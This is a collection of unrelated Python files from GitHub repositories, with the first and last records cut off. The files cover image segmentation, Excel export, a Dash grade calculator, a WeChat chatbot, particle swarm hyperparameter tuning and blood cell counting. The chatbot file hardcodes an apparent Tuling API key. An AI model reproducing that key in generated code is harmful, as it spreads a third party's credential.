conn.close()\n\n","repo_name":"LitvinT/parser-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"39899672825","text":"# import the necessary packages\nfrom skimage.feature import peak_local_max\nfrom skimage.morphology import watershed\nfrom scipy import ndimage\nimport numpy as np\nimport argparse\nimport imutils\nimport cv2\n\n\ndef watershed_algo(image):\n    height = image.shape[0]\n    width = image.shape[1]\n    mask2 = image.copy()\n    color = cv2.cvtColor(mask2, cv2.COLOR_GRAY2BGR)\n    D = ndimage.distance_transform_edt(image)\n    localMax = peak_local_max(D, indices=False, min_distance=40,\n                              labels=image)\n    # perform a connected component analysis on the local peaks,\n    # using 8-connectivity, then appy the Watershed algorithm\n    markers = ndimage.label(localMax, structure=np.ones((3, 3)))[0]\n    labels = watershed(-D, markers, mask=image)\n\n    # loop over the unique labels returned by the Watershed\n    # algorithm\n    for label in np.unique(labels):\n        # if the label is zero, we are examining the 'background'\n        # so simply ignore it\n        if label == 0:\n            continue\n        # otherwise, allocate memory for the label region and draw\n        # it on the mask\n        mask = np.zeros(gray.shape, dtype=\"uint8\")\n        mask[labels == label] = 255\n        # detect contours in the mask and grab the largest one\n        cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL,\n                                cv2.CHAIN_APPROX_SIMPLE)\n        cnts = imutils.grab_contours(cnts)\n        c = max(cnts, key=cv2.contourArea)\n        # draw a circle enclosing the object\n        (x, y, w, h) = cv2.boundingRect(c)\n\n        # split off the frame, max height = car length\n        # width max = width/ 2\n        contour_valid = (35 <= w <= width) and (\n                35 <= h <= height)\n\n        if not contour_valid:\n            continue\n        else:\n            cv2.rectangle(color, (x, y), (x + w, y + h), (0, 0, 255), 3)\n    return color\n\n\nimage = cv2.imread('split.jpg')\nwater_image = image.copy()\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\nkernel = np.ones((7, 7), np.uint8)\nkernel1 = np.ones((17, 17), np.uint8)\nimg2 = cv2.morphologyEx(gray, cv2.MORPH_OPEN, kernel)\nimg2 = cv2.morphologyEx(img2, cv2.MORPH_CLOSE, kernel1)\n# thresh = cv2.threshold(gray, 0, 255,\n#                        cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1]\ncv2.imshow(\"img2\", img2)\n\nwater_image = watershed_algo(img2)\n\n# show the output image\ncv2.imshow(\"water_image\", water_image)\n\ncv2.waitKey(0)\n","repo_name":"namdang-exe/Computer_Vision_project","sub_path":"watershed.py","file_name":"watershed.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35151204130","text":"#Export the Random Walk data to an Excel\r\n\r\n#Important Modules\r\nfrom openpyxl import Workbook\r\n\r\nclass ExpExcel:\r\n\t\r\n\tdef __init__(self, coord_x, coord_y, iterator):\r\n\t\t\r\n\t\tself.coord_x = coord_x\r\n\t\tself.coord_y = coord_y\r\n\t\tself.iterator = iterator\r\n\r\n\tdef create_excel_files(self): \r\n\r\n\t\twb = Workbook()\r\n\r\n\t\tnewexcel_name = f\"File number {self.iterator}.xlsx\"\r\n\r\n\t\tf1 = wb.active\r\n\r\n\t\tf1.cell(1,1).value = \"x coordinates\"\r\n\t\tf1.cell(1,2).value = \"y coordinates\"\r\n\r\n\t\tj = 2\r\n\r\n\t\tfor x_values in self.coord_x:\r\n\t\t\tfor y_values in self.coord_y:\r\n\t\t\t\tf1.cell(j,1).value = x_values\r\n\t\t\t\tf1.cell(j,2).value = y_values\r\n\t\t\t\tj += 1\r\n\r\n\t\twb.save(newexcel_name)\r\n\t\twb.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Tiago851/Data-Visualization","sub_path":"export_to_Excel.py","file_name":"export_to_Excel.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3270903158","text":"import re\nimport os\nimport sys\nimport json\nimport yaml\nimport copy\n\nfrom utils.env import read_yaml_cfg, PROJECT_DIR\n\nsample_config = read_yaml_cfg(os.path.join(PROJECT_DIR, \"configs\", \"model\", \"mlp-standard.yaml\"))\nwith open(sys.argv[1], 'r') as fp:\n    lines = fp.readlines()\n\nfor l in lines:\n    _sample_config = copy.deepcopy(sample_config)\n    match = re.search(r\"Trial (?P<trial_id>[\\d]+)\", l)\n    _sample_config[\"cfg_name\"] = f\"search_trial_{match['trial_id']}\"\n    ss = l.split(\"{\")[1].split(\"}\")[0]\n    sl = [pair.split(\": \") for pair in ss.split(\", \")]\n    config = _sample_config[\"cost_model\"]\n    for k, v in sl:\n        key = k.strip(\"'\")\n        if re.match(r\"^[\\d]+$\", v):\n            v = int(v)\n        elif re.match(r\"^[-\\d.e]+$\", v):\n            v = float(v)\n        else:\n            v = v.strip(\"'\")\n        config[key] = v\n    config['embedded_layers'] = [config['embed_layer_unit']] * config['embed_layer_num']\n    config['regression_layers'] = [config['mlp_layer_unit']] * config['mlp_layer_num']\n    config.pop(\"embed_layer_unit\")\n    config.pop('embed_layer_num')\n    config.pop('mlp_layer_unit')\n    config.pop('mlp_layer_num')\n    with open(os.path.join(PROJECT_DIR, \"tmp\", f\"{_sample_config['cfg_name']}.yaml\"), 'w') as yaml_fp:\n        yaml_fp.write(yaml.dump(_sample_config, default_flow_style=False))\n\n'''\nTRIAL_NAME=search_trial_26\nTRIAL_NAME=search_trial_79\nTRIAL_NAME=search_trial_84\nTRIAL_NAME=search_trial_86\nlaunch -- bash scripts/train.sh run \\\n    --mode sample200 \\\n    -i .workspace/ansor -c tmp/${TRIAL_NAME}.yaml \\\n    --tb_logdir .workspace/runs/${TRIAL_NAME}\n'''\n        \n","repo_name":"joapolarbear/cdmpp","sub_path":"help/gen_cfg_yaml.py","file_name":"gen_cfg_yaml.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"7216541282","text":"import dash\nfrom dash import html\nfrom dash import dcc\nfrom dash.dependencies import Input, Output\n\napp = dash.Dash(__name__)\n\napp.layout = html.Div([\n    html.H1(\"Calculadora de Notas\"),\n    html.Div(\"Esta aplicacion es para calcular la nota que debo sacar en la ultima evaluación\"),\n    html.Form(id='form1',children=[\n        dcc.Input(id='porcentaje1', type='number', min=0, max=100, placeholder=\"Porcentaje nota 1\"),\n        dcc.Input(id='nota1', type='number', min=0, max=5, placeholder=\"nota 1\")\n        ]),\n    html.Form(id='form2',children=[\n        dcc.Input(id='porcentaje2', type='number', min=0, max=100, placeholder=\"Porcentaje nota 2\"),\n        dcc.Input(id='nota2', type='number', min=0, max=5, placeholder=\"nota 2\")\n        ]),\n    html.Form(id='form3',children=[\n        dcc.Input(id='porcentaje3', type='number', min=0, max=100, placeholder=\"Porcentaje nota 3\"),\n        dcc.Input(id='nota3', type='number', min=0, max=5, placeholder=\"nota 3\")\n        ]),\n    html.Div(\"La nota que debes sacar para ganar la materia en 3 es: \"),\n    html.Div(id='notadesalida',children=\"\")\n])\n\n@app.callback(Output('notadesalida','children'),Input('porcentaje1','value'),Input('porcentaje2','value'),Input('porcentaje3','value'),Input('nota1','value'),Input('nota2','value'),Input('nota3','value'))\ndef calculadora(p1,p2,p3,n1,n2,n3):\n    notafinal = (3 - ((float(p1)/100)*n1 + (float(p2)/100)*n2 + (float(p3)/100)*n3))/(1-((float(p1)/100)+(float(p2)/100)+(float(p3)/100)))\n    return notafinal\n\nif __name__ == '__main__':\n    app.run_server(host='0.0.0.0',port=80)\n","repo_name":"InsertName-x23/Microservicios","sub_path":"App/site.py","file_name":"site.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9435683759","text":"import requests\nimport itchat\nimport random\n\nKEY = 'b34540fa0c6349bc988f2ea2e1d50fb1'\n\n\ndef get_response(msg):\n    apiUrl = 'http://www.tuling123.com/openapi/api'\n    data = {\n        'key': KEY,\n        'info': msg,\n        'userid': 'wechat-robot',\n    }\n    try:\n        r = requests.post(apiUrl, data=data).json()\n        return r.get('text')\n    except:\n        return\n\n\n@itchat.msg_register(itchat.content.TEXT)\ndef tuling_reply(msg):\n    defaultReply = 'I received: ' + msg['Text']\n    robots = ['【WK】']\n    reply = get_response(msg['Text']) + random.choice(robots)\n    return reply or defaultReply\n\n\nitchat.auto_login(hotReload=True)\nitchat.run()","repo_name":"kkcoding0/equipment","sub_path":"saoliao.py","file_name":"saoliao.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3480099081","text":"import cv2\r\nimport numpy as np\r\nimport math\r\nrecr_length = 0.0\r\nrecb_length = 0\r\nrecr_real = 15.0\r\nrecb_real = 0\r\nloc_x=0\r\nloc_y=0\r\ndef nothing(x):\r\n    pass\r\n\r\n\r\n#cv2.namedWindow(\"Tracking\")\r\n#cv2.createTrackbar(\"LH\", \"Tracking\", 0, 255, nothing)\r\n#cv2.createTrackbar(\"LS\", \"Tracking\", 0, 255, nothing)\r\n#cv2.createTrackbar(\"LV\", \"Tracking\", 0, 255, nothing)\r\n#cv2.createTrackbar(\"UH\", \"Tracking\", 255, 255, nothing)\r\n#cv2.createTrackbar(\"US\", \"Tracking\", 255, 255, nothing)\r\n#cv2.createTrackbar(\"UV\", \"Tracking\", 255, 255, nothing)\r\n\r\n######decrease resolution######\r\nresized = cv2.imread('rect2.jpg')\r\n\r\n\r\n#l_h = cv2.getTrackbarPos(\"LH\", \"Tracking\")\r\n#l_s = cv2.getTrackbarPos(\"LS\", \"Tracking\")\r\n#l_v = cv2.getTrackbarPos(\"LV\", \"Tracking\")\r\n    #\r\n#u_h = cv2.getTrackbarPos(\"UH\", \"Tracking\")\r\n#u_s = cv2.getTrackbarPos(\"US\", \"Tracking\")\r\n#u_v = cv2.getTrackbarPos(\"UV\", \"Tracking\")\r\n\r\n######Mask for blue and red rectangles######\r\nhsv = cv2.cvtColor(resized, cv2.COLOR_BGR2HSV)\r\nl_r = np.array([170,50,50])\r\nu_r = np.array([180,255,255])\r\nl_b = np.array([110,50,50])\r\nu_b = np.array([130,255,255])\r\nmask_blue = cv2.inRange(hsv, l_b, u_b)\r\nmask_red = cv2.inRange(hsv, l_r, u_r)\r\n\r\nres_red = cv2.bitwise_and(resized, resized, mask=mask_red)\r\nres_blue= cv2.bitwise_and(resized, resized, mask=mask_blue)\r\n######Contours######\r\n#blurred = cv2.pyrMeanShiftFiltering(res_red,91,111)\r\nimgGrey = cv2.cvtColor(res_red, cv2.COLOR_BGR2GRAY)\r\n_, thrash = cv2.threshold(imgGrey, 0, 255, cv2.THRESH_BINARY)\r\ncontours, _ = cv2.findContours(thrash, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\r\nprint(str(len(contours)))\r\nfor contour in contours:\r\n    approx = cv2.approxPolyDP(contour, 0.01* cv2.arcLength(contour, True), True)\r\n    cv2.drawContours(resized, [approx], 0, (0, 0, 0), 5)\r\n    rotatedRect = cv2.minAreaRect(contour)\r\n    angle = rotatedRect[2]\r\n    x = approx.ravel()[0]\r\n    y = approx.ravel()[1] - 5\r\n    #if len(approx) == 4:\r\n    x1 ,y1, w, h = cv2.boundingRect(approx)\r\n    if w < 50 or h <50: #noise\r\n        continue\r\n    if angle >= -92 and angle <= -80 or angle >=-1 and angle <=1 or angle <=90.0 and angle >=85:\r\n\r\n        if w > h:\r\n            recr_length =recr_length + w + 40\r\n        else:\r\n            recr_length =recr_length + h +40\r\n    else:\r\n        recr_length += math.sqrt(math.pow(w,2)+math.pow(h,2))\r\n\r\n\r\ncv2.drawContours(res_red,contours,0,(0,255,0),3)\r\ncv2.namedWindow(\"Contours\", cv2.WINDOW_NORMAL)\r\ncv2.imshow('Contours',res_red)\r\nimgGrey = cv2.cvtColor(res_blue, cv2.COLOR_BGR2GRAY)\r\n_, thrash = cv2.threshold(imgGrey, 0, 255, cv2.THRESH_BINARY)\r\ncontours, _ = cv2.findContours(thrash, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\r\nprint(str(len(contours)))\r\nfor contour in contours:\r\n    approx = cv2.approxPolyDP(contour, 0.01* cv2.arcLength(contour, True), True)\r\n    cv2.drawContours(resized, [approx], 0, (0, 0, 0), 5)\r\n    rotatedRect = cv2.minAreaRect(contour)\r\n    angle = rotatedRect[2]\r\n    #print(angle)\r\n    x = approx.ravel()[0]\r\n    y = approx.ravel()[1] - 5\r\n    #if len(approx) == 4:\r\n    x1 ,y1, w, h = cv2.boundingRect(approx)\r\n\r\n    if w < 80 or h <80: #noise\r\n        continue\r\n    else:\r\n        loc_x=x1\r\n        loc_y=y1\r\n    if angle >= -92 and angle <= -80 or angle >=-1 and angle <=1 or angle <=90.0 and angle >=85:\r\n\r\n        if w > h:\r\n            recb_length += w\r\n        else:\r\n            recb_length += h\r\n    else:\r\n        recb_length += math.sqrt(math.pow(w,2)+math.pow(h,2))\r\n\r\n\r\n#cv2.drawContours(res_red,contours,0,(0,255,0),3)\r\n#cv2.namedWindow(\"Contours\", cv2.WINDOW_NORMAL)\r\n#cv2.imshow('Contours',res_red)\r\n#cv2.imshow(\"imgGrey\", imgGrey)\r\n#cv2.imshow(\"mask\", mask)\r\n#cv2.imshow(\"res\", res)\r\n\r\nrecb_real = (recr_real*recb_length)/recr_length\r\nprint(recb_real)\r\nfont = cv2.FONT_HERSHEY_SIMPLEX\r\ncv2.putText(resized,str(recb_real),(loc_x,loc_y),font,3,(255,255,255),10)\r\ncv2.namedWindow(\"Resized image\", cv2.WINDOW_NORMAL)\r\ncv2.imshow(\"Resized image\", resized)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"Seifeldin7/ROV-Task","sub_path":"Task.py","file_name":"Task.py","file_ext":"py","file_size_in_byte":3961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37302870494","text":"t = int(input())\n\nfor _ in range(t):\n    n, H, M = map(int, input().split())\n    minTime = (float('inf'), float('inf'))\n    for __ in range(n):\n        h, m = map(int, input().split())\n        if (h, m) < (H, M):\n            h += 24\n        diff = 60 * (h - H) + m - M\n        hh = diff // 60\n        mm = diff % 60\n        minTime = min(minTime, (hh, mm))\n    print(*minTime)","repo_name":"theabbie/leetcode","sub_path":"miscellaneous/alarm.py","file_name":"alarm.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"}
{"seq_id":"34478217162","text":"import numpy as np\nimport cv2\nimport sys\nimport os\n\nclass RBCCounter:\n    def __init__(self, inpath, outpath, tolerance=50, output_image=True, output_stats=True):\n        self.inpath = inpath\n        self.outpath = outpath\n        self.tolerance = int(tolerance) * 0.01\n        self.original_image = cv2.imread(self.inpath)\n        self.width, self.height, self.channels = self.original_image.shape\n        self.output_image = output_image\n        self.output_stats = output_stats\n        self.file_name = os.path.splitext(os.path.basename(inpath))[0]\n    \n    def calc_sloop_change(self, histo, mode, tolerance):\n        sloop = 0\n        for i in range(0, len(histo)):\n            if histo[i] > max(1, tolerance):\n                sloop = i\n                return sloop\n            else:\n                sloop = i\n    \n    def _gen_properties(self):\n        self.hsv = cv2.cvtColor(self.original_image, cv2.COLOR_BGR2HSV)\n\n        self.color_image = self.original_image.copy()\n\n        self.b_channel, self.g_channel, self.r_channel = cv2.split(self.color_image)\n        \n        self.blue_hist = cv2.calcHist([self.color_image], [0], None, [256], [0, 256])\n        self.green_hist = cv2.calcHist([self.color_image], [1], None, [256], [0, 256])\n        self.red_hist = cv2.calcHist([self.color_image], [2], None, [256], [0, 256])\n        \n        self.blue_mode = self.blue_hist.max()\n        self.blue_tolerance = np.where(self.blue_hist == self.blue_mode)[0][0] * self.tolerance\n        \n        self.green_mode = self.green_hist.max()\n        self.green_tolerance = np.where(self.green_hist == self.green_mode)[0][0] * self.tolerance\n        \n        self.red_mode = self.red_hist.max()\n        self.red_tolerance = np.where(self.red_hist == self.red_mode)[0][0] * self.tolerance\n        \n        self.sloop_blue = self.calc_sloop_change(self.blue_hist, self.blue_mode, self.blue_tolerance)\n        self.sloop_green = self.calc_sloop_change(self.green_hist, self.green_mode, self.green_tolerance)\n        self.sloop_red = self.calc_sloop_change(self.red_hist, self.red_mode, self.red_tolerance)\n        \n        self.gray_image = cv2.cvtColor(self.original_image, cv2.COLOR_BGR2GRAY)\n        self.gray_hist = cv2.calcHist([self.original_image], [0], None, [256], [0, 256])\n        \n        self.largest_gray = self.gray_hist.max()\n        self.threshold_gray = np.where(self.gray_hist == self.largest_gray)[0][0]\n\n\n    def filter_big_cells(self, image):\n        #threshold blue ranges\n        #BGR ordering\n        lower_blue = np.array([115,30,20])\n        upper_blue = np.array([173,98,90])\n\n        mask = cv2.inRange(image, lower_blue, upper_blue)\n        return mask\n\n    def filter_small_cells(self, image):\n        #threshold pink/red ranges\n        #BGR ordering\n        lower_pink = np.array([111,48,90])\n        upper_pink = np.array([204,190,218])\n\n        mask = cv2.inRange(image, lower_pink, upper_pink)\n        return mask\n\n    def find_big_cells(self, contours, big_bound):\n        big_cells = []\n\n        for c in contours:\n            c_area = cv2.contourArea(c)\n\n            if c_area > big_bound:\n                big_cells.append(c)\n\n        return big_cells\n\n    def find_small_cells(self, contours, small_bound):\n        small_cells = []\n\n        for c in contours:\n            c_area = cv2.contourArea(c)\n\n            if c_area > small_bound:\n                small_cells.append(c)\n\n        return small_cells\n\n    def count(self):\n        self._gen_properties()\n\n        self.mask = self.filter_small_cells(self.color_image)\n\n        gr_img = cv2.adaptiveThreshold(self.mask, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 85, 4)\n        _, contours, hierarchy = cv2.findContours(gr_img, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n\n        c2 = [i for i in contours if cv2.boundingRect(i)[3] > 35]\n        cv2.drawContours(self.color_image, c2, -1, (0, 0, 255), 1)\n\n        cp = [cv2.approxPolyDP(i, 0.015 * cv2.arcLength(i, True), True) for i in c2]\n\n        countRedCells = len(c2)\n\n        for c in cp:\n            xc, yc, wc, hc = cv2.boundingRect(c)\n            cv2.rectangle(self.color_image, (xc, yc), (xc + wc, yc + hc), (0, 255, 0), 1)\n\n        if self.output_image:\n            cv2.imwrite(self.outpath + self.file_name + '.jpg', self.color_image)\n\n        if self.output_stats:\n            with open(self.outpath + self.file_name + '.stats', mode='w') as f:\n                f.write('RBC: ' + str(countRedCells) + '\\n')\n\n    def WBCcount(self):\n        self._gen_properties()\n\n        self.mask = self.filter_big_cells(self.color_image)\n\n        gr_img = cv2.adaptiveThreshold(self.mask, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 85, 4)\n        _, contours, hierarchy = cv2.findContours(gr_img, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n\n        c2 = [i for i in contours if cv2.boundingRect(i)[3] > 35]\n        cv2.drawContours(self.color_image, c2, -1, (0, 0, 255), 1)\n\n        cp = [cv2.approxPolyDP(i, 0.015 * cv2.arcLength(i, True), True) for i in c2]\n\n        countRedCells = len(c2)\n\n        for c in cp:\n            xc, yc, wc, hc = cv2.boundingRect(c)\n            cv2.rectangle(self.color_image, (xc, yc), (xc + wc, yc + hc), (0, 255, 0), 1)\n\n        if self.output_image:\n            cv2.imwrite(self.outpath + self.file_name + '-wbc.jpg', self.color_image)\n\n        if self.output_stats:\n            with open(self.outpath + self.file_name + '-wbc.stats', mode='w') as f:\n                f.write('WBC: ' + str(countRedCells) + '\\n')\n\n\nctr = RBCCounter('./blood-new-processed/img-4664-2880-1792-2017-11-08-08-59-52.jpg', './tmp/')\nctr.count()\nctr.WBCcount()","repo_name":"sachchitg/microscope","sub_path":"piscope/RBC_count.py","file_name":"RBC_count.py","file_ext":"py","file_size_in_byte":5614,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"21616391215","text":"import numpy as np\n\nfrom utils.problemUtils import from_problem_to_sklearnSpace\nfrom utils.problemUtils import from_problem_to_ngParam\nimport importlib\nfrom operator import attrgetter\nimport random\nfrom HPT.baseHPT import HPT_algo\n\nimport csv\nimport nevergrad as ng\nimport math\nimport time\n\n\n\n\n\n\"\"\"\n********************************************************************************\ntranspose_space:\n    * Arguments: configSpace\n    * Return: a list of the bounds (limits) and a list specifying the types of\n        variables.\n********************************************************************************\n\"\"\"\n\ndef transpose_space(configSpace):\n    limits = []\n    map = []\n    k = 1\n    for i in configSpace.get_hyperparameters():\n        if str(type(i)) == \"<class \\'ConfigSpace.hyperparameters.CategoricalHyperparameter\\'>\":\n            for j in i.choices:\n                limits.append((0, 1))\n                map.append(k)\n            k = k + 1\n        elif str(type(i)) == \"<class \\'ConfigSpace.hyperparameters.UniformIntegerHyperparameter\\'>\":\n            limits.append((i.lower, i.upper))\n            map.append(0)\n\n        elif str(type(i)) == \"<class \\'ConfigSpace.hyperparameters.UniformFloatHyperparameter\\'>\":\n            limits.append((i.lower, i.upper))\n            map.append(0)\n\n    return limits, map\n\n\n\"\"\"\n********************************************************************************\nfrom_conf_to_pos:\n    * Arguments: a configuration and the configSpace\n    * Return: a position representation of the configuration (a list with all\n        values and categories one hot encoded)\n********************************************************************************\n\"\"\"\n\ndef from_conf_to_pos(config, configSpace):\n    limits = []\n\n    for i in config.keys():\n        if str(type(config.get_dictionary()[i])) == \"<class 'str'>\":\n            for j in configSpace.get_hyperparameter(i).choices:\n                if config.get_dictionary()[i] == j:\n                    limits.append(1)\n                else:\n                    limits.append(0)\n        else:\n            limits.append(config.get_dictionary()[i])\n\n    return limits\n\n\n\"\"\"\n********************************************************************************\nfrom_pos_to_config:\n    * Arguments: a position and the configSpace\n    * Return: the configuration as a dictionnary\n********************************************************************************\n\"\"\"\n\ndef from_pos_to_config(pos ,configSpace):\n\n    new_conf = dict.fromkeys(configSpace.get_hyperparameter_names())\n    k = 0\n\n    for i in configSpace.get_hyperparameters():\n        if str(type(i)) == \"<class \\'ConfigSpace.hyperparameters.CategoricalHyperparameter\\'>\":\n            for j in i.choices:\n                if pos[k] == 1:\n                    new_conf[i.name] = j\n                k = k + 1\n\n        elif str(type(i)) == \"<class \\'ConfigSpace.hyperparameters.UniformIntegerHyperparameter\\'>\":\n            new_conf[i.name] = pos[k]\n            k = k + 1\n\n        elif str(type(i)) == \"<class \\'ConfigSpace.hyperparameters.UniformFloatHyperparameter\\'>\":\n            new_conf[i.name] = pos[k]\n            k = k + 1\n\n\n    return new_conf\n\n\n\"\"\"\n********************************************************************************\nformate_pos:\n    * Formates a new position\n********************************************************************************\n\"\"\"\n\ndef formate_pos(new_position, bounds):\n    if new_position > bounds[1]:\n        return bounds[1]\n    elif new_position < bounds[0]:\n        return bounds[0]\n    else:\n        if isinstance(bounds[0], int):\n            return round(new_position)\n        else:\n            return new_position\n\n\n\n\n\"\"\"\n********************************************************************************\nParticle:\n    * contain all infos about a given particle\n    * implements the moving operation\n********************************************************************************\n\"\"\"\n\nclass Particle():\n    def __init__(self, problem_space):\n        self.problem_space = problem_space._space\n        self.config = self.problem_space.sample_configuration()\n\n        self.search_space, self.map = transpose_space(self.problem_space)\n        self.position = from_conf_to_pos(self.config, self.problem_space)\n        self.pbest_position = self.position\n        self.pbest_value = float('-inf')\n        self.velocity = np.zeros(len(self.position))\n        self.fitness = 0\n\n    def move(self):\n        new_position = []\n        prev = None\n        count_choices = 0\n\n        for i in range(len(self.position)):\n\n\n            if self.map[i] == 0:\n                if prev != 0 and prev is not None:\n\n                    index = np.argmax(new_position[i-count_choices:i])\n                    new_position[index + (i-count_choices)] = 1\n                    for l in range(len(new_position[i-count_choices:i])):\n                        if l != index :\n                            new_position[l + (i-count_choices)] = 0\n\n                    count_choices = 0\n                    tmp = formate_pos(self.position[i] + self.velocity[i], self.search_space[i])\n                    new_position.append(tmp)\n\n                else:\n                    tmp = formate_pos(self.position[i] + self.velocity[i], self.search_space[i])\n                    new_position.append(tmp)\n            else:\n                if prev == 0 or prev is None or prev == self.map[i]:\n                    tmp = formate_pos(self.position[i] + self.velocity[i], self.search_space[i])\n\n                    new_position.append(tmp)\n                    count_choices = count_choices + 1\n                else:\n\n                    index = np.argmax(new_position[i-count_choices:i])\n                    new_position[index + (i-count_choices)] = 1\n\n\n                    for l in range(len(new_position[i-count_choices:i])):\n                        if l != index:\n                            new_position[l+ (i-count_choices)] = 0\n\n\n                    count_choices = 0\n                    tmp = formate_pos(self.position[i] + self.velocity[i], self.search_space[i])\n                    new_position.append(tmp)\n                    count_choices = count_choices + 1\n            if i == (len(self.position)-1) and count_choices != 0:\n                new_position[np.argmax(new_position[i+1-count_choices::i+1]) + (i+1-count_choices)] = 1\n\n            prev =  self.map[i]\n\n\n        self.position = new_position\n\n\n\n\n\n\"\"\"\n********************************************************************************\nSpace:\n    * contain all infos about the space\n    * implements all operations of PSO except move\n********************************************************************************\n\"\"\"\n\nclass Space():\n\n    def __init__(self, problem_space, n_particles, mod_run):\n        self.mod_run = mod_run\n        self.n_particles = n_particles\n        self.particles = []\n        self.problem_space =  problem_space\n        self.search_space, self.map  = transpose_space(self.problem_space._space)\n\n        for i in range(n_particles):\n            part = Particle(problem_space)\n            self.particles.append(part)\n\n        self.gbest_value = float('-inf')\n        gbest_position = np.zeros(len(self.search_space))\n        for i in range(len(self.search_space)):\n            gbest_position[i] = (self.search_space[i])[0]\n\n        self.gbest_position = gbest_position\n\n\n    def fitness(self, particle):\n        config = from_pos_to_config(particle.position ,self.problem_space._space)\n\n        feat = []\n        for i in config:\n            if \"feature_\" in i:\n                feat.append(config[i])\n\n        only_nul =  True\n        for j in feat:\n            if j != '0':\n                only_nul = False\n                break\n        if only_nul:\n            particle.fitness = 0\n            return 0\n        else:\n            fitness = self.mod_run.run(config)\n            particle.fitness = fitness\n            return fitness\n\n    def set_pbest(self):\n        for particle in self.particles:\n            fitness_candidate = self.fitness(particle)\n            if(particle.pbest_value < fitness_candidate):\n                particle.pbest_value = fitness_candidate\n                particle.pbest_position = particle.position\n\n\n    def set_gbest(self):\n        for particle in self.particles:\n            best_fitness_candidate = self.fitness(particle)\n            if(self.gbest_value < best_fitness_candidate):\n                self.gbest_value = best_fitness_candidate\n                self.gbest_position = particle.position\n\n    def move_particles(self):\n        Vmax =  4\n        W = 0.5\n        c1 = 2\n        c2 = 2\n        for particle in self.particles:\n            k = 0\n            for i in particle.position:\n\n                new_velocity = (W*particle.velocity[k]) + (c1*random.random()) * (particle.pbest_position[k] - i) + (random.random()*c2) * (self.gbest_position[k] - i)\n                if abs(new_velocity) > Vmax:\n                    new_velocity = Vmax*np.sign(new_velocity)\n                if (particle.search_space[k])[0] == 0 and (particle.search_space[k])[1] == 1:\n                    new_velocity = 1/(1 + math.exp(-new_velocity))\n\n\n                particle.velocity[k] = new_velocity\n                k = k + 1\n\n            particle.move()\n\n\n\n\"\"\"\n********************************************************************************\nalgorithm:\n    * inherits from HPT_algo\n    * run GA\n********************************************************************************\n\"\"\"\n\nclass algorithm(HPT_algo):\n    def __init__(self, problem, max_evals, argv):\n        super().__init__(problem, max_evals, argv)\n\n\n\n    def run(self):\n        nb_particles = 50\n        self.evals = self.evals/nb_particles\n        tic = time.perf_counter()\n        with open(self.prob + '/results/results.csv', 'w') as f:\n            writer = csv.writer(f)\n            names = np.append(self.problemConfig._space.get_hyperparameter_names(), \"loss\")\n\n            writer.writerow(names)\n\n            search_space = Space(self.problemConfig, nb_particles, self.mod_run)\n\n\n            while self.evals > 0:\n                 search_space.set_pbest()\n                 search_space.set_gbest()\n                 search_space.move_particles()\n\n                 \"\"\"\n                 values = list(from_pos_to_config(search_space.gbest_position, search_space.problem_space._space).values())\n\n                 values.append(search_space.gbest_value)\n                 writer.writerow(values)\n                 \"\"\"\n                 for i in search_space.particles:\n                     values = list(from_pos_to_config(i.position, search_space.problem_space._space).values())\n\n                     values.append(i.fitness)\n                     writer.writerow(values)\n\n\n                 if hasattr(self, 'time'):\n                     if time.perf_counter() > tic + self.time:\n                         break\n\n                 self.evals = self.evals - 1\n","repo_name":"ThomsVieslet/TfeFinal","sub_path":"workspace/base/base/HPT/pso.py","file_name":"pso.py","file_ext":"py","file_size_in_byte":10935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"11505595645","text":"from src.data.util.interactions import InteractionChecker\nfrom src.data.data_abstract import DataAbstract\nfrom src.data.data_non_linear import DataNonLinear\nfrom src.data.util.dummy_scaler import DummyScaler\nimport pandas as pd\n\n\nclass DataInteractions(DataAbstract):\n\n    @staticmethod\n    def clean_data(data):\n        \"\"\"\n        Seperate into x and y data\n        \"\"\"\n        # Convert string data to nan\n        data = data.apply(pd.to_numeric, errors='coerce')\n        data = data.loc[:, (data.std() > 0).values]\n        # Split x, y\n        y_data = data.pop(\"IC50\")\n        x_data = data.copy().fillna(0)\n        return x_data, y_data\n\n    @staticmethod\n    def engineer_features(x_data, y_data=None):\n        \"\"\"\n        Example implementation steps:\n          * Perform feature engineering (use additional methods as needed, or static file)\n          * Check for unexpected values\n        :param x_data:\n        :param y_data:\n        :return: return x_data with new features\n        \"\"\"\n        print(\"finding interactions....\")\n        ic = InteractionChecker(alpha=0.01)\n        ic.fit(x_data[~y_data.isna()].fillna(0), y_data[~y_data.isna()])\n        interactions = ic.transform(x_data.fillna(0))\n        transformations = 